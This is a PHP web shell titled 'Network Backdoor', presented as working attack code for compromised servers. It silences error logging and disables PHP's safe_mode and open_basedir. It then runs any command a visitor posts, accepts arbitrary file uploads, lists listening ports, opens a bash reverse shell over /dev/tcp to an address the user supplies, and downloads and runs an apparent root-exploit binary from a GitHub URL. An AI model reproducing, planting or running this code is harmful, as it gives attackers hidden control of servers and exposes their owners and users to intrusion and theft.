Network Backdoor

<?php
//AUTHOR | AZZATSSINS
@error_reporting(0);
@ini_set('output_buffering',0);
@ini_set('display_errors', 0);
@ini_set('log_errors',0);
echo ini_get("safe_mode");
echo ini_get("open_basedir");
ini_restore("safe_mode");
ini_restore("open_basedir");
$phi = fopen("php.ini","w");
fwrite($phi,"safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF ");
function exe($cmd){
    $xazx = "";
    $cmd = $cmd." 2>&1";

    if(is_callable('system')) {
        ob_start();
        @system($cmd);
        $xazx = ob_get_contents();
        ob_end_clean();
        if(!empty($xazx)) return $xazx;
    }
    if(is_callable('shell_exec')){
        $xazx = @shell_exec($cmd);
        if(!empty($xazx)) return $xazx;
    }
    if(is_callable('exec')) {
        @exec($cmd,$azxr);
        if(!empty($azxr)) foreach($azxr as $azxs) $xazx .= $azxs;
        if(!empty($xazx)) return $xazx;
    }
    if(is_callable('passthru')) {
        ob_start();
        @passthru($cmd);
        $xazx = ob_get_contents();
        ob_end_clean();
        if(!empty($xazx)) return $xazx;
    }
    if(is_callable('proc_open')) {
        $azxdescriptorspec = array(
        0 => array("pipe", "r"),
        1 => array("pipe", "w"),
        2 => array("pipe", "w")
        );
        $azxproc = @proc_open($cmd, $azxdescriptorspec, $azxpipes, getcwd(), array());
        if (is_resource($azxproc)) {
            while ($azxsi = fgets($azxpipes[1])) {
                if(!empty($azxsi)) $xazx .= $azxsi;
            }
            while ($azxse = fgets($azxpipes[2])) {
                if(!empty($azxse)) $xazx .= $azxse;
            }
        }
        @proc_close($azxproc);
        if(!empty($xazx)) return $xazx;
    }
    if(is_callable('popen')){
        $azxf = @popen($cmd, 'r');
        if($azxf){
            while(!feof($azxf)){
                $xazx .= fread($azxf, 2096);
            }
            pclose($azxf);
        }
        if(!empty($xazx)) return $xazx;
    }
    return "";
}
echo'<title>Network Backdoor</title><body bgcolor=black><font color=red><center><b><a href="?">HOME</a></b><i><br>[ <a href="?file=upload">UPLOAD</a> ] [ <a href="?reverse=shell">REVERSHELL</a> ] [ <a href="?open=port">PORTS</a> ] [ <a href="?root=server">ROOT</a> ]</i></center></red><font color=green><br>';
if($_GET['reverse'] == 'shell') {
echo '<center><form method="post">IP :
<input name="prx"> >> PORT : <input name="prt" value="110">
<input type="submit" value="Connect" name="revershell">
<br></form>';
if($_POST['revershell']){
exe("bash -i >& /dev/tcp/".$_POST['prx']."/".$_POST['prt']." 0>&1"); }
}elseif($_GET['open'] == 'port'){
echo "<pre>";
print exe("netstat -an | grep -i listen 2>&1");
echo "</pre>";
}elseif($_GET['file'] == 'upload'){
echo '<center><form method="post" enctype="multipart/form-data">
<input type="file" name="x">
<input type="submit" value="Upload" name="upload">
<br></form>';
if($_POST['upload']){
copy( $_FILES ['x']['tmp_name'],$_FILES
['x']['name']);
echo 'Success'; }
}elseif($_GET['root'] == 'server'){
exe("wget https://raw.githubusercontent.com/cyberserkers/root/master/azx && chmod +x azx && ./azx 123456");
}else{
echo '<form method="post"><input name="cmd"><br></form><pre>';
print exe($_POST['cmd']);
}